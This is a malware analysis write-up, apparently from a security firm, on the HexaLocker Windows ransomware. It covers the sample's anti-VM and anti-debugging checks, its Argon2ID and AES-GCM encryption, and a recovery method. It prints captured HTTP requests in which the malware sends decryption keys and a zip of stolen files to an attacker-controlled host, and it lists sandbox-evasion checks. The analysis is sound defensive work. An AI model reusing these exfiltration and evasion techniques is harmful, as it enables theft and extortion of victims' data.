LAPSUS$ is dead, long live HexaLocker?

Introduction

On August 9th, 2024, the HexaLocker team advertised a new Windows ransomware on its Telegram channel. The message included a demonstration video and text promoting a Golang ransomware that implements a proprietary algorithm. Its features were also listed:

It seems that the HexaLocker ransomware stores decryption keys on bulletproof servers. This suggests that the decryption keys are sent to distant servers during the encryption process, but may not be protected with asymmetric cryptography (RSA, ECDH), as we would usually observe with this kind of malware. Finally, data exfiltration, FUD, and anti-analysis capabilities are promoted.

This article describes the actual capabilities of HexaLocker, based on one of its samples. A YARA rule and list of indicators are mentioned at the end of the article.

HexaLocker analysis

Since July, a few HexaLocker samples have been available on VirusTotal, showing different evolutions. The sample dissected in this article is the most recent and advanced one (for HexaLocker) in terms of features that we could find to date (August 23rd).

Basic information

The sample is not stripped, and the metadata provides the pathname of the Golang source file: C:/Users/zzart/Desktop/MalwareDeveloppement/HexaLocker RaaS/crypter_files.go. The username zzart most likely refers to ZZART3XX1, one of the LAPSUS$ administrators.

Capabilities

Here is a summary of HexaLocker's capabilities (order of execution):

1. Anti-analysis (anti-VM, anti-debugging): Uses an open-source Golang module called GoDefender2. We have also seen another HexaLocker sample (be759e58413431dbe40d29ea5e399b1ebbfe75847c19a5a8f2610dab9f78ca8b) using a different anti-VM module called chacal3.
2. File encryption: Recursively encrypts files in C:\Users with AES-256-GCM using a random password derived with Argon2ID. The ".hexalocker" extension is appended to the filename. Before encryption starts, decryption keys are AES-encrypted with a hardcoded key and sent to a remote HTTPS server via GET method parameters.
3. Ransom: The ransom note is created on the current user's desktop as "Readme.txt" and opened with notepad.exe.
4. File stealing: The current user's files, whose extensions correspond to specific patterns (documents, source code, databases), are compressed into a single zip file and sent to a remote HTTPS server. Since this occurs after encryption, the searched files also have the ".hexalocker" extension.

Upon execution, it opens a command prompt and outputs many debugging logs, which is not very stealthy.

Anti-analysis

Routines from GoDefender are executed early in the program in a function called main.FortniteProtect. The following mechanisms are used:

• Anti-Virtualization:
  • Detecting USB drives.
  • Checking for default virtualization usernames (e.g., Johnson, John Doe, malware, sandbox, test, etc.).
  • Checking for default virtualization video controllers (e.g., "vmware", "virtualbox").
  • Checking for KVM environment files (e.g., baloon.sys, netkvm.sys).
  • Detecting triage environments based on disk drive names (e.g., DADY HARDDISK, QEMU HARDDISK).
  • Detecting small monitors (resolutions under 800×600 are suspicious).
  • Detecting VM artifacts (VMware and VirtualBox drivers or guest tools).
  • Detecting repetitive processes (more than 60 svchost.exe processes are suspicious).
  • Detecting parallel virtualization environments (guest tools).
• Anti-Debug:
  • Detecting common hooked functions used for anti-anti-debugging (e.g., CheckRemoteDebuggerPresent, GetTickCount, etc.).
  • Checking for blacklisted window names (e.g., IDA, ILSpy, Fiddler, x32dbg, etc.).
  • Using the classic IsDebuggerPresent and CheckRemoteDebuggerPresent routines.
  • Performing an internet connection check (TCP request to google.com:80).
  • Checking the parent process (must be explorer.exe or cmd.exe).
  • Verifying the number of processes (must be above 50).
  • Checking uptime (must be above 20 minutes).

If you need more technical information, most of those mechanisms are detailed in the great Unprotect Project4. Though, since they are all packed into one calling function, the bypass is trivial with a debugger, but it might prevent execution on automatic sandboxes.

File encryption

Now, for the pièce de résistance: HexaLocker's file encryption capability.

First, a 50-byte random alphanumeric password is generated, followed by a 16-byte random salt. This password is then derived using the Argon2ID algorithm with the following parameters:

• Threads: 4
• Iterations: 3
• Memory: 65536 KiB
• Generated hash length: 32 bytes
• And the previously generated salt

Before the encryption starts, an HTTPS request is made to a distant server to send the password, the salt, and some host information for identification purposes. This allows the ransomware operator to obtain the necessary cryptographic parameters to decrypt the files. The HTTP request is sent to https://darkslategray-baboon-853641.hostingersite[.]com/index.php, and the information is stored in the GET parameters. The password and salt are only AES-GCM encrypted with a hardcoded key in the sample.

Below is a capture of such an HTTP request (intercepted with FakeNet tool):

08/23/24 04:30:33 AM [        DNS Server] Received A request for domain 'darkslategray-baboon-853641.hostingersite.com'.
08/23/24 04:30:33 AM [   HTTPListener443]   GET /index.php?method=new&hwid=9F905EA7-EBD1-4D49-84F6-AE84E484E49F&ip=192.168.122.111&computername=DESKTOP-KB8GFGD&password=8b53d87b4715c39d2869c21d8b545ca98d3b4d0f043a3bae55b10cbc47a9683fc5dba2746834981353923356119c6cb778cacfb25665e264d84f85af20f7f67ff44b2478f92439ca51e7d3999f3e&sel=ff01fbf061d18e88237d5d1d01e474a863abf52a833bd94b32e084179d29d3897df7958650b845ecadf8eb5a4f7a971fce1598081b851af05534a72f HTTP/1.1
08/23/24 04:30:33 AM [   HTTPListener443]   Host: darkslategray-baboon-853641.hostingersite.com
08/23/24 04:30:33 AM [   HTTPListener443]   User-Agent: Go-http-client/1.1
08/23/24 04:30:33 AM [   HTTPListener443]   Accept-Encoding: gzip
08/23/24 04:30:33 AM [   HTTPListener443]

The values in the password and sel fields (sel stands for salt in French) are 28 bytes longer than expected. This is because they also contain the AES-GCM nonce (12 bytes) and the AES-GCM tag (16 bytes) (nonce + ciphertext + tag).

Once the important cryptographic values are stored on the operator's server, the encryption process begins. This sample uses C:\Users as the root directory and encrypts every file whose name matches a list of extensions. The extension list is quite extensive and encrypts nearly all file types. The targeted files are encrypted using AES-GCM. The 32-byte Argon2ID hash is used as the key with a 12-byte random nonce. Every encrypted file is saved on disk with the ".hexalocker" extension. The encrypted data also includes the nonce and the tag.

Since there is no asymmetric cryptography involved, if a victim recovers the ransomware sample and has TLS proxy logs, they can decrypt and recover the files. We developed a proof-of-concept (PoC) program that successfully recovers the encrypted files based on the password, salt, and hardcoded key stored in the sample. We can provide the code for this program upon request.

Finally, the ransom note is generated as a "Readme.txt" file on the current user's desktop and is automatically opened with notepad.exe.

File stealing

HexaLocker searches for files in the current user's directories: Desktop, Documents, Favorites, Pictures, and Videos. The search pattern involves a list of extensions with the ".hexalocker" suffix, as these files are already encrypted. Below is the list of extensions (split into categories for better readability):

• Documents: .txt, .doc, .docx, .odt, .xls, .xlsx, .ods, .ppt, .pptx, .odp, .rtf, .md, .tex, .wps, .pages,
• Data : .sql, .mdb, .accdb, .sqlite, .db, .dbf, .json, .csv, .numbers, .dif, .key, .plist, .trace, .tmp,
• Source code: .py, .java, .c, .cpp, .js, .html, .css, .ruby, .php, .swift, .go, .r, .asp, .jsp,
• Configuration files: .ini, .cfg, .log, .xml, .yaml, .yml,
• Archives: .zip, .rar, .tar, .gz, .7z, .bz2, .lz, .xz,
• Pictures: .jpg, .jpeg, .png, .gif, .bmp, .tiff,
• Videos: .mp3, .wav, .avi, .mp4, .mov

All the corresponding files are added to a new zip file named with the host UUID, located in the %Temp% folder. The zip file is then sent to the remote server via a single POST HTTPS request. The PHP file in the URL is different from the previous one: https://darkslategray-baboon-853641.hostingersite[.]com/receive.php.

Below is a capture of such an HTTP request (intercepted with FakeNet tool):

08/23/24 05:20:13 AM [        DNS Server] Received A request for domain 'darkslategray-baboon-853641.hostingersite.com'.
08/23/24 05:20:14 AM [   HTTPListener443]   POST /receive.php HTTP/1.1
08/23/24 05:20:14 AM [   HTTPListener443]   Host: darkslategray-baboon-853641.hostingersite.com
08/23/24 05:20:14 AM [   HTTPListener443]   User-Agent: Go-http-client/1.1
08/23/24 05:20:14 AM [   HTTPListener443]   Content-Length: 36618
08/23/24 05:20:14 AM [   HTTPListener443]   Content-Type: multipart/form-data; boundary=a9cf213cc8cf5b6fffefc664759d93533d3ed8975bb56ad6f6603dd6414d
08/23/24 05:20:14 AM [   HTTPListener443]   Accept-Encoding: gzip
08/23/24 05:20:14 AM [   HTTPListener443]
08/23/24 05:20:14 AM [   HTTPListener443]   --a9cf213cc8cf5b6fffefc664759d93533d3ed8975bb56ad6f6603dd6414d
08/23/24 05:20:14 AM [   HTTPListener443]   Content-Disposition: form-data; name="file"; filename="9F905EA7-EBD1-4D49-84F6-AE84E484E49F.zip"
08/23/24 05:20:14 AM [   HTTPListener443]   Content-Type: application/octet-stream
08/23/24 05:20:14 AM [   HTTPListener443]
08/23/24 05:20:14 AM [   HTTPListener443]  .C:\Users\bonjour\Desktop\loremipsum.txt.hexalocker@|-h#!.m,~bO@dGYxX"=0ش}p513Ңvew%nqR%`^g/@Sy3r\\LuS$,Lkn55s!\C&|L{"~Eh>La}.se
:nfD̐hfUY{w7fttg0hH-}i   #^F_i(,aryNݷfL  .0%#MqvAi]espPeہF.Me%<IpHOPҚ")$dx       X&ukܺ                                                                                  &F        V|D.)Ӕj:bgqbwW

[... Compressed and encrypted data ...]

We did not stress-test the server, but the HTTP request could become quite large depending on the size and number of documents located in the victim's user profile.

Conclusion

HexaLocker is a Golang ransomware that currently operates only on Windows operating systems. It encrypts files with AES-256-GCM using a random password derived with Argon2ID. Decryption keys are then AES-encrypted with a hardcoded key and finally sent to a remote HTTPS server. No asymmetric cryptography is involved. HexaLocker also includes file-stealing capabilities. Additionally, the developer has used the open-source module GoDefender to protect the code from dynamic analysis and debugging.

There are certainly expected evolutions in HexaLocker's code, but we can already observe the main features and behaviour of this new strain, as revealed by the analysed sample. If HTTPS requests are intercepted (e.g., with a corporate proxy) the password and salt can be collected and used to decrypt affected files. To perform the decryption, the PoC program we developed can be reused, though it may need some adjustments, as we anticipate the hardcoded keys will change in future builds.

Moreover, HexaLocker's impact on organizations could be imminent, as its team has announced an alliance with a new ransomware gang called DoubleFace to "collaborate on big attacks". They are also seeking other partners to help them spread their ransomware on a large scale.

The X (formerly Twitter) handle @ZZART3XX is mentioned, describing themselves as an administrator of (formerly) LAPSUS$, GLORIAMIST, and HexaLocker.

You can find a YARA rule and a list of IOCs in this GitHub repository: https://github.com/synacktiv/hexalocker-analysis

If any organization requires assistance in doubt removal or responding to a compromise, please feel free to contact Synacktiv.

• 1. https://twitter.com/ZZART3XX
• 2. https://github.com/EvilBytecode/GoDefender
• 3. https://github.com/p3tr0v/chacal
• 4. https://unprotect.it/